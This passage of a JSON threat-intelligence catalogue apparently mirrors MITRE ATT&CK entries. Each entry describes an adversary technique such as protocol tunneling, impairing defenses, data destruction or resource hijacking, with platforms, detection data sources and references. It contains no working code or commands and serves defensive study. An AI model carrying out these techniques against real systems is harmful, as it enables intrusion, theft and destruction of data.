"description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)",
"meta": {
"external_id": "T1199",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation",
"Logon Session: Logon Session Metadata"
],
"mitre_platforms": [
"Windows",
"SaaS",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1199",
"https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers"
]
},
"uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925",
"value": "Trusted Relationship - T1199"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322).\n\nThe use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)",
"meta": {
"external_id": "T1322",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1322"
]
},
"uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899",
"value": "Misattributable credentials - T1322"
},
{
"description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.",
"meta": {
"external_id": "T1532",
"kill_chain": [
"mitre-mobile-attack:exfiltration"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1532"
]
},
"uuid": "e3b936a4-6321-4172-9114-038a866362ec",
"value": "Data Encrypted - T1532"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)",
"meta": {
"external_id": "T1382",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1382"
]
},
"uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06",
"value": "DNS poisoning - T1382"
},
{
"description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).",
"meta": {
"external_id": "T1424",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1424",
"https://code.google.com/p/android/issues/detail?id=205565"
]
},
"uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
"value": "Process Discovery - T1424"
},
{
"description": "Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.\n\nAndroid and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.",
"meta": {
"external_id": "APP-19",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1429",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
]
},
"uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
"value": "Capture Audio - T1429"
},
{
"description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).",
"meta": {
"external_id": "T1552",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: Process Creation",
"User Account: User Account Authentication",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1552"
]
},
"uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"value": "Unsecured Credentials - T1552"
},
{
"description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.",
"meta": {
"external_id": "T1562",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Cloud Service: Cloud Service Disable",
"Cloud Service: Cloud Service Modification",
"Command: Command Execution",
"Firewall: Firewall Disable",
"Firewall: Firewall Rule Modification",
"Process: Process Creation",
"Process: Process Termination",
"Script: Script Execution",
"Sensor Health: Host Status",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Deletion",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Office 365",
"IaaS",
"Linux",
"macOS",
"Containers",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1562"
]
},
"uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"value": "Impair Defenses - T1562"
},
{
"description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
"meta": {
"external_id": "T1572",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1572",
"https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/",
"https://www.ssh.com/ssh/tunneling"
]
},
"uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
"value": "Protocol Tunneling - T1572"
},
{
"description": "Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.\n\nThis can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)",
"meta": {
"external_id": "CEL-41",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html",
"https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java",
"https://attack.mitre.org/techniques/T1582",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html"
]
},
"uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b",
"value": "SMS Control - T1582"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).\n\nDumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)",
"meta": {
"external_id": "T1286",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1286"
]
},
"uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d",
"value": "Dumpster dive - T1286"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).\n\nDynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)",
"meta": {
"external_id": "T1333",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1333"
]
},
"related": [
{
"dest-uuid": "20a66013-8dab-4ca3-a67d-766c842c561c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe",
"value": "Dynamic DNS - T1333"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363).\n\nRedirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)",
"meta": {
"external_id": "T1363",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1363"
]
},
"uuid": "13ff5307-b650-405a-9664-d8076930b2bf",
"value": "Port redirector - T1363"
},
{
"description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)",
"meta": {
"external_id": "T1534",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux",
"Office 365",
"SaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1534",
"https://blog.trendmicro.com/phishing-starts-inside/",
"https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6"
]
},
"uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747",
"value": "Internal Spearphishing - T1534"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)",
"meta": {
"external_id": "T1374",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1374"
]
},
"uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4",
"value": "Credential pharming - T1374"
},
{
"description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",
"meta": {
"external_id": "T1573",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1573",
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
]
},
"uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"value": "Encrypted Channel - T1573"
},
{
"description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",
"meta": {
"external_id": "T1583",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Domain Name: Active DNS",
"Domain Name: Domain Registration",
"Domain Name: Passive DNS",
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583",
"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
]
},
"uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"value": "Acquire Infrastructure - T1583"
},
{
"description": "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)",
"meta": {
"external_id": "APP-28",
"kill_chain": [
"mitre-mobile-attack:impact",
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/",
"https://attack.mitre.org/techniques/T1446",
"https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html"
]
},
"related": [],
"uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1",
"value": "Device Lockout - T1446"
},
{
"description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
"meta": {
"external_id": "T1564",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"File: File Modification",
"Firmware: Firmware Modification",
"Process: OS API Execution",
"Process: Process Creation",
"Script: Script Execution",
"Service: Service Creation",
"User Account: User Account Creation",
"User Account: User Account Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Office 365"
],
"refs": [
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
"https://attack.mitre.org/techniques/T1564",
"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
"uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"value": "Hide Artifacts - T1564"
},
{
"description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
"meta": {
"external_id": "T1584",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Domain Name: Active DNS",
"Domain Name: Domain Registration",
"Domain Name: Passive DNS",
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584",
"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://www.icann.org/groups/ssac/documents/sac-007-en",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
]
},
"uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"value": "Compromise Infrastructure - T1584"
},
{
"description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)",
"meta": {
"external_id": "T1485",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Deletion",
"Command: Command Execution",
"File: File Deletion",
"File: File Modification",
"Image: Image Deletion",
"Instance: Instance Deletion",
"Process: Process Creation",
"Snapshot: Snapshot Deletion",
"Volume: Volume Deletion"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
"https://attack.mitre.org/techniques/T1485",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
"https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/",
"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
"https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network",
"https://www.symantec.com/connect/blogs/shamoon-attacks"
]
},
"uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
"value": "Data Destruction - T1485"
},
{
"description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.",
"meta": {
"external_id": "T1495",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Firmware: Firmware Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
"https://attack.mitre.org/techniques/T1495",
"https://www.symantec.com/security-center/writeup/2000-122010-2655-99"
]
},
"uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89",
"value": "Firmware Corruption - T1495"
},
{
"description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)",
"meta": {
"external_id": "T1496",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1496",
"https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc",
"https://securelist.com/lazarus-under-the-hood/77908/",
"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
"https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html",
"https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html"
]
},
"uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
"value": "Resource Hijacking - T1496"
},
{
"description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)",
"meta": {
"external_id": "T1489",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: OS API Execution",
"Process: Process Creation",
"Process: Process Termination",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1489",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
"https://www.secureworks.com/research/wcry-ransomware-analysis"
]
},
"uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
"value": "Service Stop - T1489"
},
{
"description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1565",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Deletion",
"File: File Metadata",
"File: File Modification",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1565"
]
},
"uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
"value": "Data Manipulation - T1565"
},
{
"description": "Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.\n\nThe NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)\n\nAdversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)",
"meta": {
"external_id": "T1575",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:execution"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1575",
"https://developer.android.com/ndk/guides",
